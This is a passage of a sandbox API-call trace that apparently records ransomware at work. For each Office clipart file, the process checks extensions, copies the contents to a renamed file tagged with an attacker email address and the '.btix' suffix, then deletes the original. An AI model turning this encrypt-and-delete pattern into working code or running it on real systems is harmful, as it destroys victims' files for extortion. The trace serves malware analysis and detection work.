Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0147.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.901] lstrlenW (lpString=".doc") returned 4 [0147.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString=".docx") returned 5 [0147.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.901] lstrlenW (lpString=".pdf") returned 4 [0147.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString=".xls") returned 4 [0147.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.901] lstrlenW (lpString=".xlsx") returned 5 [0147.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.901] lstrlenW (lpString=".ppt") returned 4 [0147.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.901] lstrlenW (lpString=".zip") returned 4 [0147.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.901] lstrlenW (lpString=".rar") returned 4 [0147.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString=".bz2") returned 4 [0147.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString=".7z") returned 3 [0147.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.901] lstrlenW (lpString=".dbf") returned 4 [0147.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.901] lstrlenW (lpString=".1cd") returned 4 [0147.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.901] lstrlenW (lpString=".jpg") returned 4 [0147.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.902] lstrlenW (lpString=".doc") returned 4 [0147.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString=".docx") returned 5 [0147.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.902] lstrlenW (lpString=".pdf") returned 4 [0147.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString=".xls") returned 4 [0147.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.902] lstrlenW (lpString=".xlsx") returned 5 [0147.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.902] lstrlenW (lpString=".ppt") returned 4 [0147.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.902] lstrlenW (lpString=".zip") returned 4 [0147.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.902] lstrlenW (lpString=".rar") returned 4 [0147.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString=".bz2") returned 4 [0147.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString=".7z") returned 3 [0147.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.902] lstrlenW (lpString=".dbf") returned 4 [0147.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.902] lstrlenW (lpString=".1cd") returned 4 [0147.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0147.902] lstrlenW (lpString=".jpg") returned 4 [0147.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.903] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.903] lstrlenW (lpString="HH00685_.WMF") returned 12 [0147.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.903] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4032) returned 1 [0147.903] CloseHandle (hObject=0x384) returned 1 [0147.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0147.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.903] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.903] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.904] GetLastError () returned 0x0 [0147.904] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0147.904] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0147.905] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.905] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.905] SetEndOfFile (hFile=0x388) returned 1 [0147.906] CloseHandle (hObject=0x388) returned 1 [0147.906] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.906] SetEndOfFile (hFile=0x384) returned 1 [0147.906] CloseHandle (hObject=0x384) returned 1 [0147.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0147.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.907] lstrlenW (lpString=".doc") returned 4 [0147.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.907] lstrlenW (lpString=".docx") returned 5 [0147.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.907] lstrlenW (lpString=".pdf") returned 4 [0147.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.907] lstrlenW (lpString=".xls") returned 4 [0147.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.907] lstrlenW (lpString=".xlsx") returned 5 [0147.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.907] lstrlenW (lpString=".ppt") returned 4 [0147.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.907] lstrlenW (lpString=".zip") returned 4 [0147.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.907] lstrlenW (lpString=".rar") returned 4 [0147.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.907] lstrlenW (lpString=".bz2") returned 4 [0147.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.907] lstrlenW (lpString=".7z") returned 3 [0147.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.908] lstrlenW (lpString=".dbf") returned 4 [0147.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.908] lstrlenW (lpString=".1cd") returned 4 [0147.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.908] lstrlenW (lpString=".jpg") returned 4 [0147.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.908] lstrlenW (lpString=".doc") returned 4 [0147.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString=".docx") returned 5 [0147.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.908] lstrlenW (lpString=".pdf") returned 4 [0147.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString=".xls") returned 4 [0147.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.908] lstrlenW (lpString=".xlsx") returned 5 [0147.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.908] lstrlenW (lpString=".ppt") returned 4 [0147.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.908] lstrlenW (lpString=".zip") returned 4 [0147.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.908] lstrlenW (lpString=".rar") returned 4 [0147.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString=".bz2") returned 4 [0147.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.908] lstrlenW (lpString=".7z") returned 3 [0147.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.909] lstrlenW (lpString=".dbf") returned 4 [0147.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.909] lstrlenW (lpString=".1cd") returned 4 [0147.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0147.909] lstrlenW (lpString=".jpg") returned 4 [0147.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.909] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.909] lstrlenW (lpString="HH00687_.WMF") returned 12 [0147.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.909] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4340) returned 1 [0147.909] CloseHandle (hObject=0x384) returned 1 [0147.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0147.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.909] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.910] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.910] GetLastError () returned 0x0 [0147.910] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0147.911] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1100, lpOverlapped=0x0) returned 1 [0147.912] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.912] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.912] SetEndOfFile (hFile=0x388) returned 1 [0147.912] CloseHandle (hObject=0x388) returned 1 [0147.912] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.912] SetEndOfFile (hFile=0x384) returned 1 [0147.913] CloseHandle (hObject=0x384) returned 1 [0147.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0147.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.913] lstrlenW (lpString=".doc") returned 4 [0147.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.913] lstrlenW (lpString=".docx") returned 5 [0147.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.913] lstrlenW (lpString=".pdf") returned 4 [0147.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString=".xls") returned 4 [0147.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.914] lstrlenW (lpString=".xlsx") returned 5 [0147.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.914] lstrlenW (lpString=".ppt") returned 4 [0147.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.914] lstrlenW (lpString=".zip") returned 4 [0147.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.914] lstrlenW (lpString=".rar") returned 4 [0147.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString=".bz2") returned 4 [0147.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString=".7z") returned 3 [0147.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.914] lstrlenW (lpString=".dbf") returned 4 [0147.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.914] lstrlenW (lpString=".1cd") returned 4 [0147.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.914] lstrlenW (lpString=".jpg") returned 4 [0147.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.914] lstrlenW (lpString=".doc") returned 4 [0147.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString=".docx") returned 5 [0147.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.914] lstrlenW (lpString=".pdf") returned 4 [0147.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.914] lstrlenW (lpString=".xls") returned 4 [0147.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.915] lstrlenW (lpString=".xlsx") returned 5 [0147.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.915] lstrlenW (lpString=".ppt") returned 4 [0147.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.915] lstrlenW (lpString=".zip") returned 4 [0147.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.915] lstrlenW (lpString=".rar") returned 4 [0147.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.915] lstrlenW (lpString=".bz2") returned 4 [0147.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.915] lstrlenW (lpString=".7z") returned 3 [0147.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.915] lstrlenW (lpString=".dbf") returned 4 [0147.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.915] lstrlenW (lpString=".1cd") returned 4 [0147.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0147.915] lstrlenW (lpString=".jpg") returned 4 [0147.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.915] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.915] lstrlenW (lpString="HH00688_.WMF") returned 12 [0147.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.915] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=7084) returned 1 [0147.916] CloseHandle (hObject=0x384) returned 1 [0147.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0147.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.916] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.916] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.916] GetLastError () returned 0x0 [0147.916] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0147.917] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0147.918] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.918] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.918] SetEndOfFile (hFile=0x388) returned 1 [0147.918] CloseHandle (hObject=0x388) returned 1 [0147.918] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.919] SetEndOfFile (hFile=0x384) returned 1 [0147.919] CloseHandle (hObject=0x384) returned 1 [0147.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.920] lstrlenW (lpString=".doc") returned 4 [0147.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".docx") returned 5 [0147.920] 